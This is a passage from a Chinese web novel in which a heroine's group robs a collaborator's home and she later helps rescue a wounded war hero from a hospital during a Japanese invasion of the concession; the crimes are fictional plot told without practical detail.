昨天严广福离开后,她打电话让租车公司送来了两辆轿车,一家十几口人,一共三辆轿车,正好全部装下,油门一踩,便直奔火车站而去。 车子走了不到五分钟,一群戴黑头套,只抠出两只眼睛的精壮汉子从街道巷末冲出来,一个冲刺助跑,三两下攀上墙头,在一两声短促的尖叫中,破门而入。 一个钟头后,某房间 春妮站在正中,她的身前,是一字儿排开的黑箱子。 她随意打开一只箱子,拿出两根金条,敲击两下,笑道:“付太太胆子不小,放着这么多金银财宝在家,还知道唱一出调虎离山计。” “可惜啊,她再聪明,还是棋差一招, 没算过阿妹你。”罗阿水也露出了久违的笑容。 可能是担着几千个学生安危的原因,来海城的这两年里,罗阿水脸上的笑容越来越少。春妮已经记不清,这个明明不比她大几岁的大哥上一次这样笑,是什么时候了。 春妮笑道:“那还不是大哥你提醒我,说她箱子的重量看上去不太对,我才临时改变了计划吗?” “好啦好啦,你们几个,能不能别再互相吹了?”王建利刚说一句话,见众人齐刷刷瞪着他,又缩着脖子道:“我这不是怕他们得到消息,到处搜查,最后坏了事吗?” “这位王兄弟说的没错,顾丫头,你把我们的那份赶紧点出来,我得快点回去。”涂铁柱也催促道。 自从春妮收到严广福的消息后,就知道动手的时间已经到了,提前请来涂铁柱和他的干将,跟罗阿水和王建利几人守在付家门外,静待最后的时机。 入户抢劫这种事始终太破下限,因为事涉尹校长,原委也不方便细说,那些学生们年纪太小,怕他们以后有样学样,这一次,春妮就没让他们参与进去。 至于王建利,他是在场人中,唯一一个跟着顾茂丰进过付家的人,春妮需要要他领路,将他领到了现场。 涂铁柱说得不错,租界内发生这样的大案,巡捕房多少都要折腾一阵子,他们必须赶紧分完东西再说。 春妮将涂铁柱的报酬结算给他,他走之后,粗略翻看了一遍剩下来的东西:这些箱子里,有至少一两百根大黄鱼,面额分别至少二十万的美金,英镑等欧美国家的保险货币,以及其他有价证券,还有一些珠宝首饰,总价值不低于两百万银元。没看到有房契,应该是被付家人贴身带走了一部分。 不过这东西她抢来了也没用,都是在工部局里备过案的。有这些东西,已经是足足够了。 去除付鸿民打点各级官员,以及付家人奢侈浪费掉的,这些东西应该是他们家绝大部分的财产。刨除付出去的报酬,以及分给尹校长的那部分,他们至少也能有一百多万分帐。 这么多的钱,哪怕他们现在立刻关掉工厂,也能够至少在十年内养活学校的学生,不需要再日日操劳了。 初战告捷啊! 春妮笑容满面,离开房间之后,见王建利等在外面,不由皱眉:“你怎么还在这?” 他的主要任务是看住顾茂丰,现在他完成了带路的任务,该回去尽他另一份责任了。 顾茂丰的戏,还没唱完呢。 王建利看看左右,凑上前来,低声道:“顾小姐,刚刚他们都在,我有事要跟你汇报。顾茂丰,他不老实啊……” 顾茂丰他不知道自己被告了黑状,此时他正站在一片狼籍的付家客厅里,惊叹道:“付兄这是惹了哪路人马,竟被下了这样的狠手?” 付鸿民摊坐在地上,两眼呆滞,忽而抓住顾茂丰的手,厉声问道:“真不是你们做的?” “施专员”嗤笑:“你以为中统是什么野鸡会党?有他们出手,你还想你太太油皮都不破一个?你还能好好在这坐着?” 想到中统做事的狠辣,付鸿民打了个哆嗦:“那不是你,会是谁?” 顾茂丰深深地看着他:“你说呢?现在谁最想要你的钱?” “钱谁不想要呢?这我哪猜得出来?” “好,那我再问你,谁最想你死?” “你是说,吴部长?他想杀我灭口?” 顾茂丰用“你懂”的目光望着他:“现在我们已经知道,出手杀你太太的人,肯定请不动军方精英,或是要避嫌,不敢请动军方帮忙。他还对你家这么熟悉,一出手就抢走了你们的所有财产。付兄啊付兄,你还想逃避到什么时候?” 事关生死,又几乎倾家荡产,付鸿民被骇破了胆子,爬起来就往外头跑。 顾茂丰一愣,急忙拦住他:“付兄,你这是干什么?” “不行,这里不能待了。我去南城找我太太去。”付鸿民失魂落魄,当着顾茂丰的面,“南城”两字脱口而出。 顾茂丰恨铁不成钢:“我说你慌什么?这个时候跑到南城去,你不是正好给人递了话柄,让人更有理由来清理门户了?” “也……也对。那你说,我该怎么办?” 第164章 164 损失 顾茂丰问付鸿民:“那些人进来抢劫的时候, 有没有进行搜查,来杀付兄?” 付鸿民呆呆的,问了两遍才知道答:“有, 有。” 顾茂丰叹道:“他们这是又要要钱, 又要杀人啊!”既然要伪装成教育部长派人来杀他,自然是要先做做样子的。 言毕,他好奇地问付鸿民:“那付兄是怎么躲过去的?” 付鸿民没说话,面上浮出一丝赧然之色。 顾茂丰心中笑了笑,不再追问,只道:“这里也不安全了,付兄还是收拾收拾, 先找个地方躲一躲风头吧。” 付鸿民早就被吓得六神无主:“你说得很是,那我们先走吧。” “别急, 我先陪你去一趟巡捕房,报了警再说。” ………… 王建利神神秘秘的,同春妮道:“顾小姐,你要小心啊, 顾茂丰那老小子不老实,我估摸着, 他肯定是又起了贼心。” 这话,王建利已经说过很多回。春妮自己也知道,顾茂丰不是个善茬。他愿意老老实实听她安排, 已经是看在夏生的面上。 “他又干什么了?” 王建利将那天顾茂丰从付家出来后,那副色迷迷的表现说了, 春妮听罢,只是冷笑一声,就撂开了手。 这个人, 不值得她为他伤神生气。 在行动开始的这段时间,春妮其实也在计算着,这个人到底能老实多久才会出夭蛾子,以及,他会闹出什么夭蛾子。 最后,她得出结论:只要牢牢看好夏生,顾茂丰翻不出大浪,也就不再放在心上。 别看顾茂丰是个混蛋,但他是个知道好赖的混蛋。否则,夏生出生那几年,他完全可以想办法把夏生接走。凭他们那个村子人的德性和她妈妈的心计,有心算无心,肯定算不过他。 但就像春妮说过的那样,就算顾茂丰想办法把孩子接走,难道再培养一个专骗女人的骗子出来? 等哪天被人识破骗局,像他师父那样横死街头? 顾茂丰是没良心,不是没脑子,他知道怎样才对夏生最好。 前提是,夏生不能不认他。 付家的惊天劫案引得报纸上纷纷扬扬报道了不少天。 现在倭国人严管媒体,大家不能报道战事,还有,为免引起恐慌,阻碍倭国人的招安大业,一些明显是双城份子做的案,也被按了下来。 其实像付家这样,遭人欺骗或是遭到洗劫的家庭每天在海城都有发生,谁让这是个让□□把持的城市? 但谁让付家的这个,数额特别巨大,造成的损失异常惨重呢? 各大报纸纷纷援引付太太等付家人的采访,起了耸动的新闻标题,在“百万家财”上打转,更有甚者,还探究起付家“百万家财”背后的秘密,这一切令躲在租界里一处民居的付鸿民心惊肉跳。 “那个蠢妇,我以前怎么就不知道她有那么蠢!到处跟别人说我有百万家财,万一传到双城,还让我活不活?!” 顾茂丰劝道:“付兄,别那么大气嘛。尊夫人说到底也只是个妇道人 家,出了这么大的事,你还生不见人死不见尸,她心里发慌,也是能理解的。哦对了,说到这,付兄,你真不用我通知尊夫人一声,说你好好躲在这?” “千万别!”付鸿民惊吓道:“顾兄心意我领了,但你看看,那女人办的事,我哪敢信她?还是什么都别说的好。” “好好好,我不说,不说。那你要躲到什么时候?总这么躲着,也不是个事啊。” “再等等吧,再等等。” “那你华法联会的事怎么办?他们要是总不见你去上班,肯定会报上去。到时候拨款的事就不好说了。”还有一个多月,法方这一年最后一次的拨款就要落实了。这个时候,付鸿民可不能出事。 “是啊……”付鸿民皱起眉头,内心抉择不下。 “这样吧,付兄,你看看你有没有信得过的同事,让他们来帮你代办事务。” “现在我还敢信任谁啊?”想起这些天的经历,付鸿民悲从中来:“平时没事都是兄弟,一有了事,树倒猢狲散,那些狗屁兄弟,个个跑得比兔子还快!” 真看不出来,这家伙胆子小就罢了,还这么喜欢哭……顾茂丰不得不陪着他唉声叹气,安慰这个五十多岁的哭包,安慰了半天。 最后,付鸿民犹犹豫豫地,说要请他的朋友,一名姓应的先生来一趟。 对付鸿民明显的防备,顾茂丰没说什么,很痛快地答应下来。那位应先生其实也是华法联会的成员之一,但几乎不在联会坐班,顾茂丰在联会查帐的这些天,从没见过这位应先生。 不过,军队里有“吃空饷”这种事,其他地方自然也有,这位应先生必然也是付鸿民拉来,为防查帐,在工资册上占了个坑的工具人。联会中这样占坑的工具人不少,如果“施之锋”认真查下去,至少能揪出几十个。 工具人应先生来后,被付鸿民拉到一边,嘀嘀咕咕半天,又离开了。 第二天,报纸上以应先生的名义颁布了一个声明。大体意思是,法租界某某区某某街某某号的受害人付先生正在一个安全的地方休养,请大家立即停止无端猜测,不要为当事人带来麻烦,令其不幸的境遇雪上加霜。 这个报道,春妮也看到了。这下,她百分百确定,顾茂丰肯定又想出夭蛾子了。 她问王建利:“你说,顾茂丰会不会跟付鸿民在一起?”那天她把王建利调过来,让他指路的时候,顾茂丰弄晕了他的徒弟们,失踪了。 “肯定会。”王建利立刻道:“顾小姐,你再给我拨几个人,我去把那个登载声明的报社记者抓来,他肯定知道点什么。” 他因为弄丢了顾茂丰,生怕被春妮找麻烦,这些日子一直表现得很主动,想要将功折罪。 春妮却没那么大兴致:“他这么大人了,想去哪,我们也管不住他。算了吧,由他去。” 王建利愕然:“啊?真的由他去?顾小姐,你不怕他来找你的麻烦?” 春妮摇了摇头,没答话。 这人是真的恨顾茂丰,生怕他日子过得太顺遂,千方百计也想给他上点眼药。 但春妮从这段日子接触他的状况来看,顾茂丰这个人,如果是她的敌人,肯定要时刻提防他,防止哪天被他坑得一无所有,还要感恩戴德。但从他这段晶子跟他们两姐弟的接触来看,他狠辣归狠辣,却是个有分寸的人。还是那句话,他如果想让夏生好,就不会来找她的麻烦。 不过,那天晚上,他来通知他们最后行动的时间,曾经要求跟夏生相认,春妮答应他的是,等事成之后再说。现在他失踪了,这个要求不知还算不算数。 春妮自认为是个守信用的人,不管顾茂丰还来认不认夏生。顾茂丰还活着这件事,她认为,也不能再瞒下去了。 “那万一他要是出了事连累我们怎么办?”学生们对他们做的事模糊有些了解,也有担心顾茂丰会闹事的学生来问。 面对学生们,春妮认真了一点:“你先说,为什么你会担心这一点?除了付鸿民,我们认识这件事中的其他人吗?” 见学生们要回答,她补充道:“我是说,施之锋,付太太等人。” 其他人还蒙着,蒋四成恍然:“顾老师,你是说,这件事只要明面上跟我们扯不上关系,我们就不会有问题,对不对?” 对啊!谁会想到,一群学校的老师和学生会跟一桩震惊海城的入户劫案有关系? 事发之时,这些学生们可都老实待在学校里,哪也没去呢! 至于顾老师和罗队长,人家是有社会生活的社会人,就算不在学校,也在其他地方。只要找到人做不在场证明,还怕什么? 何况巡捕房的那些巡捕们,隔三岔五被顾老师问候一次,现在看见她,大老远地就开始躲着走。无凭无据的,他们敢来找顾老师的麻烦?别开玩笑了! 其他的,像春妮这次请来的王建利和涂铁柱,他们根本不是海城登记在册的正式居民,全是通过各种非法渠道进入的租界,这要怎么查下去? “还要记得管好你们的嘴,就不会有任何问题。”学生们离开前,春妮再次叮嘱。 这些知情的学生中,有一大部分都被安排在了她的小吃摊中。他们常年跟码头上的帮会分子打交道,就算以前是只什么都不懂的小绵羊,耳濡目染之下,也该知道什么该做,什么不该做了。 这次他们虽然没参与直接行动,但知情的学生们,哪怕只做了外围工作,春妮也给了不少银元犒劳他们。一百多万呢,随便漏点出来,也够这些学生们过几天好日子了。 不过,这笔钱因为数额太大,保存是个大问题。她跟付太太一样,都不相信那些外国银行,便没全拿出来给方校长,都存在了空间中,预备哪里用得上了,就拿一点出来。 学这样她需要哪里用钱了,也可以直接拿钱用。 校早就建立起了完备的财务审核制度,方校长跟所有精打细算的海城人一样,面对每一张向他要钱的单据和每一条需要用钱的理由,都要审核了再审核。这固然是好事,但对像春妮这样,经常遇到突发事件的外勤人员来说,这个制度就显得不够灵活,有几次她手头上现金不够,还差点误了事。 说来也奇怪,春妮一直以为她是个贪财好利,只占不出的人,然而,来到海城的时间越久,她发现,她对金钱的欲望却在一天天消退。这么大一笔钱放在面前,她竟然没有怎么心动。 这在以前是不可想象的。 她曾问过方校长,如果她那个混帐爹来抢她和夏生怎么办,这个不怎么健壮的中年男人竖起了眉毛:“别怕,他敢来,我就敢打!什么混帐东西,把孩子一丢这么些年,什么都没管过,他还好意思来!” 说出来可能她自己都不信,就是这样一个战火纷飞,到处都在死人的世界,让春妮获得了上一世从来没有过的安全感,用金钱和物资买不来的安全感。 在妈妈和奶奶死之后,她终于也有了地方可以依靠,有了人可以相信。 决定做下之后,当天晚上,春妮便将顾茂丰的事告诉给了夏生。 出乎意料的是,夏生不怎么意外。他问她:“爹就是那个代替王建利去做事的人吧?” “你是怎么知道的?”在港城抓王建利的时候,春妮为了教他处事,没怎么瞒他。但他是怎么猜出来的? “这段时间,你经常拿妈妈的照片出来看,那上面的另一半是爹。”夏生很平静。 春妮一惊:她这段时间的确经常在揣摩顾茂丰这个人,不过这是为了她的计划顺利进行,夏生不会误会了什么吧? “夏生,不是姐姐想讲人坏话。爹他不是个好人,你——” “我知道,你说过很多遍了,”夏生打了个呵欠:“他跟王建利都干的一样的事。我分得清轻重,就算他来找我,我也不会跟他走。姐姐,我不是个小孩子了。” 春妮:“……才十岁,怎么不 是小孩子了?”弟弟太懂事,都不知道该说什么了。 “晚了,快睡吧。”夏生包容地看着难得任性一回的姐姐,伸出手,摸了摸她的头。 春妮盯着他,摇摇头,笑了。 关于渣爹顾茂丰的话题,正式交谈的话,春妮和夏生只说过那一回。 直到十二月的一天清晨,他举着一样东西冲进门:“姐,你看这个人,他是不是爹?” 第165章 165 大事 夏生拿过来的是一份报纸, 春妮扫了一眼,是一份伪政府办的报纸。报纸上,入眼先是一条加黑加粗的铅字标题《热烈欢庆南城教育部完成组建》, 这是一份教育部组建的新闻稿。标题下方, 是一张人物模糊的黑白照片,应该是伪教育部的所有成员公示。 春妮只认得出,站在最中间,穿长袍马褂,身形奇瘦的,是付鸿民。 他终于还是走到了这一步,也不知中间发生了什么事。一个多月不见, 再见时,竟然连每年一百万的拨款都舍得下。 自从一个月前, 付鸿民家被洗劫一空之后,跟着顾茂丰消失的,还有付鸿民。想不到一个月没见,他倒真搞了个大新闻。 “哎呀姐, 你别光看这个,你看这个, 这个人,他是不是?是不是?”夏生手指着照片中的一个人,急切问道。 其实报纸上油墨黑乎乎的, 人物的眼睛全是两个黑坨坨,哪看得清呢?配上但图片下方的一行小字——专员, 施之锋。 春妮还有什么不明白的? 原来如此,这人失踪的这段时间,想必就是去做了这件大事。 见夏生还眼巴巴望着她, 春妮心中不忍,道:“也不一定就是他,我去打听打听。” 夏生从小对人情绪就很敏感,看到她这副神情,他落寞地放下报纸,坐下来,闷闷道:“不用打听了。肯定是他,我都听王建利说过了,他现在就叫施之锋。” 因为春妮不肯跟他说她让渣爹出马的细节,小家伙就拿着他知道的东西去套王建利的话,一来二去,还真叫他套了些东西出来。故此,一看见报纸上的“施之锋”三字,几乎不敢相信自己的眼睛,震惊得课都顾不得上,一路飞奔回了自己家。 春妮沉默片刻,忽然笑道:“你也说,他叫施之锋。跟我们爹有什么关系?跟我们姓顾的有什么关系?” 夏生傻眼:“啊?”还能这么解释?! 春妮抬腕看了看表,推他起身:“你赶紧去上课吧,姐姐答应你,不管是不是那个人,我会尽快查清楚,给你个交代,怎么样?” “那……好吧。” 姐弟两个说归说,夏生怎么想的,她不知道。春妮在看到那张报纸时,心里其实已经有了结论。 一个人伪装得再好,细节处也能够暴露出一些真实的性格。或许因为春妮是自己孩子的缘故,顾茂丰并没有怎么防备她。透过他们有限的几次见面,春妮对他的性格和其后的选择,也有了一丝自己的揣测。 顾茂丰不是个笨人,如果他这些年踏踏实实做生意,可能无法大富大贵,有吃有喝肯定做得到。但他偏偏抛弃了道德枷锁,宁愿被人唾骂,也要去干那不劳而获的事,可想而知,以这人的道德底线,做出什么事都不稀奇。 就是不知道他是怎么跟付鸿民搅合到一起,还成了他的部下,想来逃不过坑蒙拐骗那一套。 安慰完夏生之后,春妮并没有打算动身去南城。 她从未去过南城,在那里也不认识什么人。听说自从伪政府开始组建以来,南城简直成了汉奸和各方特勤间谍人员狂欢的天下。春妮听去过的人说,自从76号一部分人员去了南城之后,那里三天一小捕,五天一大搜,整个城的人都跟着人心惶惶的不消停。 春妮认为,这个时候,一动不如一静。既然顾茂丰改头换面,肯定也不希望跟过去有太多的联系。如果他觉得有必要,肯定会对自己有所提示。 他对自己的这两个孩子,父爱谈不上,但他不希望他们卷进来,这点态度是很明确的。 春妮叮嘱,让夏生不能再跟别人提这件事,她会找机会弄清真相。 其实她不说,夏生肯定也不愿意告诉别人,告诉别人,说自己有了个当汉奸的爹,难道是件很光荣的事?两姐弟保守着这个秘密,直到十二月过去,都一直没人在他们面前再提起过顾茂丰这个人。 他们渐渐地也不再在彼此面前谈论“父亲”这个话题,仿佛这个人真的已经死了。 放寒假之后,腊月二十八的早晨,学生和老师们都各回各家开始过年。 春妮有一天出门时,在廊下发现了一个做工精美的锦盒,锦盒里放着两个带logo的礼盒。这两个logo,春妮在同江婉玉接下来的几次聚会中,曾频频见那些富家子弟们身上佩带过类似的饰物,知道他们价格不斐,一小件东西,说不定比她给顾茂丰置办的那身东西都贵。 她买是买得起,可绝对舍不得买。 打开来看,一个是块手表,另一个则是一副镶钻的金手钏。 会以这种方式送东西来的人,不作他想。 夏生摩挲着手表礼盒的绒布面,小声问:“是不是他送来的?” 春妮想将手表的礼盒拿过来:“你现在年纪太小,不适合戴这么贵重的东西。姐姐先给你存起来,等你——” “等我长大,有能力保护这些好东西的时候,再还给我,对不对?”夏生赶紧握着往回拉,翻了个白眼:“你能不能改改你的词?每次我得了点什么好东西,都是这几句话翻来覆去地说,我听都听腻了。” 春妮:“……我这是为了谁啊,有你这么说你姐姐的?你这个——”孩子大了,不好带了啊。 “我就戴一天,好不好?”夏生抓着盒子,跟她商量。 春妮想起再过一天就是新年,心软了软:就当提前满足他的新年愿望吧。 这是一只成人戴的手表,即使表带扣到最后一环,也环不住十岁小少年细细的手腕。这只手表最后被夏生找了根墨绿色的缎带,将它穿过手表的表带牢牢绑起来挂在了脖子上。 他开心地戴着手表去操场找小伙伴玩。 春妮欲言又止,却看见他临出门前,将那只在胸前晃荡了又晃荡的表连同那条漂亮的缎带一起,小心翼翼地塞进了衣领。 她转过身去,在心里“呸”了一声:渣爹真是害人不浅。 “姐,你把这块表卖了吧。”晚上,如约将手表归还回来时,夏生这样说。 手表上还带着小孩滚热的体温,他却毫不留情地合上盖子,连盒子一起推给她:“他的东西,我不要。” 春妮以为他是怕自己不高兴,忙道:“你想要就收起来,一块表而已,姐姐没这么小气。” 夏生背着手,像是生怕自己还留恋一般,别过眼睛:“我是说真的,这是汉奸的东西,我不要。” 春妮怔怔看着他,听他像个小大人一样安排:“这块表很贵吧?外面那么多人饿死,用卖表的钱买粮食,能买一百斤?还是两百斤?都舍出去应该能救不少人吧?” 春妮忍不住抱住他,亲了亲小孩柔软的发顶心,发自内心地笑了:“不如这样,等转过年,我带你去当铺。你负责卖表,买粮食的事也交给你,都由你亲自操办,怎么样?” “真的?!”夏生这会儿终于像个真正的孩子,开心地笑出了牙花子。 “真的。” ………… 对两姐弟的生活而言,渣爹的事只是小小的插曲。 血缘关系归血缘关系,但只要当事人不在意,那点亲缘上的牵绊其实也代表不了什么。 或许是受了春妮的这点影响,破除掉那点亲爹滤镜之后,夏生再也没有提起过父亲。 这一次,顾茂丰在姐弟两人的心里,是真正的死了。 ………… 一直到翻过年,过了端午,春妮都没有时间真正腾出手,去调查清楚施之锋事件的内情。 这半年多的时间里,工部局董事会增加了两个倭国人董事。江婉玉说,为了保证租界的粮食和物资渠道畅通,董事们不得不私下里答应了倭国人不少条件。 具体董事们干了什么,江婉玉没有明说,只提醒他们,有机会一定要囤足药品和粮食,可能价钱又要暴涨了。凭她这一条消息,一整个上半年,春妮都在忙活去温南等其他地方买粮买药备战备荒。在此期间,她还利用江婉玉的内幕消息,在法租界等地买了几套房 子。 虽然被秦伟笑话是高位接盘,但七月份德意等国承认伪南城政府的合法性之后,那种压在心里的紧迫感,让她心中充满了必须通过什么发泄的冲动。 重要的事情那么多,远在南城的“施之锋”且排着队吧。 七月底,春妮又去了一次双城。 这次是远在双城的尹校长发出了求救,他电文里意思是,麻将凉席的经营出了问题,需要总部的支援。 等春妮带着钱去了双城才知道,哪里是麻将凉席的经营出了问题?而是他们的生意被人盯上,对方要求他们让出厂子,如果不让,他们就做不了了! 双城这里有背景的人太多了,随便摘出一个,就是尹校长惹不起的。那些政府的三亲四戚在城里飞扬跋扈,从不掩饰。上个月,总统的侄女因为被交警拦停,一气之下将人爆了头,不也什么事都没有? 说来讽刺,反而是像海城那样各方权力制衡的地方,只要敢拼,还是勉强能活下去的。 尹老师权衡之下,只能将厂子给关了。 “不让我做,以为你就做得了了?做梦!”尹校长气哼哼地说:“我把机器都砸了,安心办我的学校,看谁能奈我何?” 为了转移话题,春妮自嘲地说起去年两人联合做的大案:“关就关了吧,反正也挣不了什么钱。” 工厂在去年才开张,又花了那么大代价运机器进来。认真核算起来,今年才刚是应该赚钱的一年。之前的那一年,只能是给学生们磨练技术用。 她又说:“该放弃就放弃,华法联会那么大一笔庚子退款,我不也放弃了吗?” 付鸿民当了汉奸很久之后,春妮才知道,他以这笔钱为筹码,跟南城伪政府谈判,凭借自己的法方关系,成功让法国政府将那笔钱的收款方由双城政府改成了南城政府。 南城政府平白多了一大笔钱,难怪付鸿民在里面混得如鱼得水。 尹校长笑着戳穿了她:“你那是不得以吧?” 春妮也笑了,眼神有些迷茫:“尹老师,你说,咱们忙来忙去,发现算计大半天的东西,上面的人只要两句话一拨弄,咱们就鸡飞蛋打了,那我们这是在忙活什么呢?” 尹校长不知想到了什么,神色渐渐肃然,他低声而坚定地道:“所以,咱们要改变这个世界,要创造出一个没有欺压,没有愚昧,耕者有其田,居者有其屋,人人平等的新世界。” “那样的世界,真的会有吗?” “肯定会有的,”尹校长眼中有光:“就算现在没有,将来也会有。就算我活着没有,我死了也一定会有。吾辈当奋力啊!” 尹校长的那席话不知有什么魔力,回到海城之后很久,春妮有时还会不自觉地想起它们,想起尹校长说话时的神情。这就是信念的力量? 时间在她时不时的回味中走到了九月,这个月发生了一件大事:白云铠被人刺杀了。 刺杀白云铠的,是跟他在同一个营地里的战友。从前年起,王季新的人就开始频频向白云铠劝降,开出的条件一次比一次丰厚。他没有动心,但不是所有人都跟他一样。 数年的关押,生活的困苦,同外界的封闭,已经让一些人悄悄变成了魔鬼。 他们认为白云铠拦住了他们通往自由的路,只要杀了他,自己就会被论功行赏,特赦出俘虏营。 但是,行凶者当时就被拿下,随后被愤怒的俘虏们活生生打死。 而白云铠随后被送往医院,这个时候,春妮囤积的药品发挥了要紧的作用:她提前给了白云铠一些药品,本意是为了防止冬天又有俘虏倒下生病而准备。这里面有几支肾上腺素,其中一支第一时间被注射进白云铠的血管中,成功为医生赶到,对他进行施救拖延了时间! 惊险的九月份刚刚过去,十月份的某一天凌晨,春妮被一阵枪声惊醒了。 她来不及穿好衣服,跟着学校护卫队跑上街查看情况,顿时被眼前的一幕惊呆了—— “那是倭国兵!倭国兵打进租界了!”有学生惊慌地叫起来。 第166章 166 帮忙 “不好!”春妮跟罗阿水对视一眼, 几乎是同时想到了同一件事。 白云铠! 作为双城政府树立的英雄典型,白云铠可以说是关押在海城所有的□□中,倭国人最希望拿下的犯人。 从王季新屡屡派人跟白云铠私下里接触, 却屡次被他拒绝, 最后恼羞成怒,派人暗杀他的这一点便能看出,倭国人有多渴望打碎这个被双城政府捧上神坛的英雄! 目前两人都还不清楚发生了什么事,竟然导致了倭国人此次的大举入侵,但是,目前最要紧的,是在倭国人找到白云铠之前, 把他先救下来。 跟罗阿水对视的这一眼,春妮跟他都生出了同样的默契。 趁学生还在发愣的功夫, 两人同时悄悄向后退去。 街面上除了开着装甲车和坦克严阵以待的倭国兵,几乎看不到其他人的存在。 租界被包围的这四年多来,一直没有足够的兵源设置哨卡,这导致倭国人推进的速度非常快, 沿途几乎没有遇到什么抵抗。 即使遇到零星武装人员拦路,那些倭国兵们一梭子机枪子弹打过去, 坦克的履带再压上去,除非是钢筋铁骨,否则也只有让路的份。 “从这走。” 这段时间, 罗阿水经常去医院看白云铠。而且,因为俘虏营的其他人不方便进出, 罗阿水承担了照顾白云铠的主要任务。 对从学校到医院的这段路,罗阿水走得很熟。 这个时候,开车目标太大, 显然是不现实的。幸好罗阿水的自行车就停在学校的后门,春妮跳上后座,罗阿水踩上自行车脚踏一路从各个小巷中穿梭来去,终于在半个钟头内,赶在倭国人赶到前,赶到了医院。 而倭国人进攻的路线,在春妮坐在后座的这一路上也有了一个清晰的脉络。 公共租界同四年前一样,他们仍然选择了从倭国海军大本营所在的倭国聚居点——江浦作为突破口。江浦位于整个公共租界外沿的西北面,而白云铠所在的中英友好医院在公共租界的最东边。租界范围不大,而倭国人尽管推进速度不慢,但沿途他们需要接管的地方也多,总体速度不可能快到哪去。 因此,尽管春妮这边只有辆自行车,他们仍然赶在倭国人占领之前赶到了地方。 中英友好医院是公共租界有数的好医院之一,因为建设的时间早,整个院区也非常大。 罗阿水原本想从正门直冲到住院区,趁把守的人没反应过来,将人抢走,但春妮看到了那一墙枯萎的蔷薇花藤,她立即改变了主意。 “停下停下,从这翻过去!”春妮从自行车上跳下来,指挥罗阿水将车子挪到了枯萎的花藤中间。 两年前,春妮曾在院墙里面,跟着一群女老师将陷害同学被巡捕房关起来的黄丽花堵在花墙之下。她知道,从这里翻过去,走不了多远就是医院住院部大门,比起他们再绕个大圈子从正门登记进门快捷很多。 两人踩着自行车车座,攀上墙头。 清晨的医院安静得像在闹市中的孤岛,如同海城的租界一般,似乎在过去的四年中,被人遗忘在世界角落。明明墙外炮火隐隐,翻身进入墙内,炮火似乎在瞬间就远去了。 然而,假的终究都是假的。 蜗居在租界中的人欺骗了自己四年的时间,事实证明,在大炮面前,工部局董事们所谓的斡旋和斗争全都是个笑话。 春妮纵身跃下,从花墙外转出来,碰到了一个人。 “顾老师,你怎么从那里下来?”格林先生指着她,嘴巴半张。 这位跟春妮曾经同住一个屋檐下的犹太人在这间医院担任药剂师,春妮没想到,今天进入医院,第一个遇到的人会是他,一时愣住了。 她没回答,格林先生却是恍然:“你是来看我们培养的青霉素的?” 他这一说,春妮也想起来,自从三年前,她跟格林先生在吉拉太太家的院子里交谈,引起他儿子霍利的兴趣,并在格林先生的帮助下,霍利建立了一个小实验,开始培养青霉菌,他们就时不时地就这个话题交流信息。 春妮知道,在青霉菌培养完成的半年之中,霍利又进一步开始了青霉素的萃取工作。 小男孩十分有科研精神,三年里从未中断过这个实验。而他的父亲也给了他自己所能做到的,最好的支持。前几天春妮来看望白云铠时,还跟格林交谈过,这位先生很兴奋地告诉她,霍利在一颗甜瓜上找到了一种催化剂,或许可以解决萃取的下一个难点,还邀请了春妮有时间来观摩他们的实验成果。 春妮当时顺口答应了,想必格林先生看她没有在探视时间来医院,误会她是专门来践诺的。 春妮下意识就要摇头,没等动作,她的胳膊被罗阿水一拉,他上前一步迎过去,隐隐将格林先生的后路封住,道:“格林先生,我们是有件事想请你帮忙。” 格林先生的小女儿米妮和岳父都在他们学校,作为保安队长的罗阿水,跟这一家外国人也是很熟悉的。 电光火石间,春妮立刻明白了他的想法:白云铠门口二十四小时有营兵队长彼得罗夫派来的人把守,他们想救出白云铠只能硬攻。但是,如果能说通格林先生,利用他不动声色地混进住院楼—— 春妮往侧边站了站,堵住他另外一边的去路。 “你认识住在三楼的白云铠先生?” “你说的是你们华国的那位英雄?当然,这个月,医院里每一个华国人都在谈论他,我当然认识他。”格林先生有些困惑:“你们为什么忽然跟我说起他的事?” “是这样的……”罗阿水在格林先生耳边耳语几句。 春妮眼睛一眨不眨地,观察着他脸上的神情,打算稍有不对,便采取其他行动。 格林先生神情有一瞬间的恐慌,他嘴巴重新半张,指着罗阿水,一时没说出话。 “十分钟之内,倭国人就会打过来。格林先生,你想好了没有?” 春妮知道,尽管格林先生之前曾有过一段生死逃亡的经历,但他到底是个普通人,骤然得知这样的事,肯定需要时间消化。可时间不等人,要是他再做不出决定,春妮只能采取非常手段了。 “当然,当然,你们跟我来。”格林先生语无伦次地说:“倭,倭国人跟德国人都是一样的,我不希望看见这些战争恶魔得逞。白先生是英雄,英雄不应该落到恶魔手里。别出声,这里是我的药剂室,里面还有几套衣服,你们进去换上。快点,趁现在没人……” 两分钟后,春妮和罗阿水换上了医院里常见的白大褂,嘴巴被棉纱口罩遮住,推着一辆药剂车往门口走去。 身后,格林先生紧张地继续絮叨:“真的不用我跟出去帮忙?你们就这么出去,会被他们认出来吧?” 罗阿水转身过去:“格林先生,我们只需要您再配合一件事。”说着,他挥出一拳,正中他的脖子! “抱歉了。” 格林先生翻翻白眼,捂着脖子倒下。 “走吧。”不知是不是错觉,那些被他们甩在身后的枪声似乎又清晰了不少。 三楼白云铠病房的门口,有一个白俄营兵正靠坐在门口的长椅上打盹。春妮他们经过时,那个人抬眼看了眼,便放他们过去了。在医院里看守犯人是个苦差事,反正房里的那个重伤未愈,他们一般到了半夜,住院部关闭的时候,也会悄悄偷个懒。 每天清晨,住院部的医护们都会查房,现在正是查房的时间。 春妮上前一步,拧开门锁,看见白云铠已经坐起身,正在活动腰骨。他伤的最重的地方,是擦过心脏边缘的那粒子弹。现在已经度过了危险期,只是不能有太大的活动。看他现在的状况,应该是恢复得不错。 听见门边的动静,他转头看来,正好看见春妮扒下口罩,向他作了个“噤声”的动作。 “你——” 春妮让过身子,罗阿水已经将那个营兵勒晕过去,他动作麻利地拿床单塞住他的嘴,绑起来拖到了床下。 “倭国人打进了租界,他们肯定不会放过你。”春妮将衣服塞给他:“你先换衣服,跟我们逃出医院再说。” “难怪我刚刚好像听见了打枪的声音,”白云铠没接衣服:“那我的那些战友们怎么办?我要是不见了,倭国人会不会向他们下手?” 春妮一怔,这一路她都在思考怎么先在敌人反应过来之前救下白云铠,倒没想到这一茬。 她马上说:“你先走,他们的事我来想办法!” 没等白云铠继续说话,“轰隆”一声,整个大地仿佛颤抖了一下。 “是万国商团的人在行动。”罗阿水着急道:“那是营地里的炮打响了,快一点,他们抵挡不了多久。” 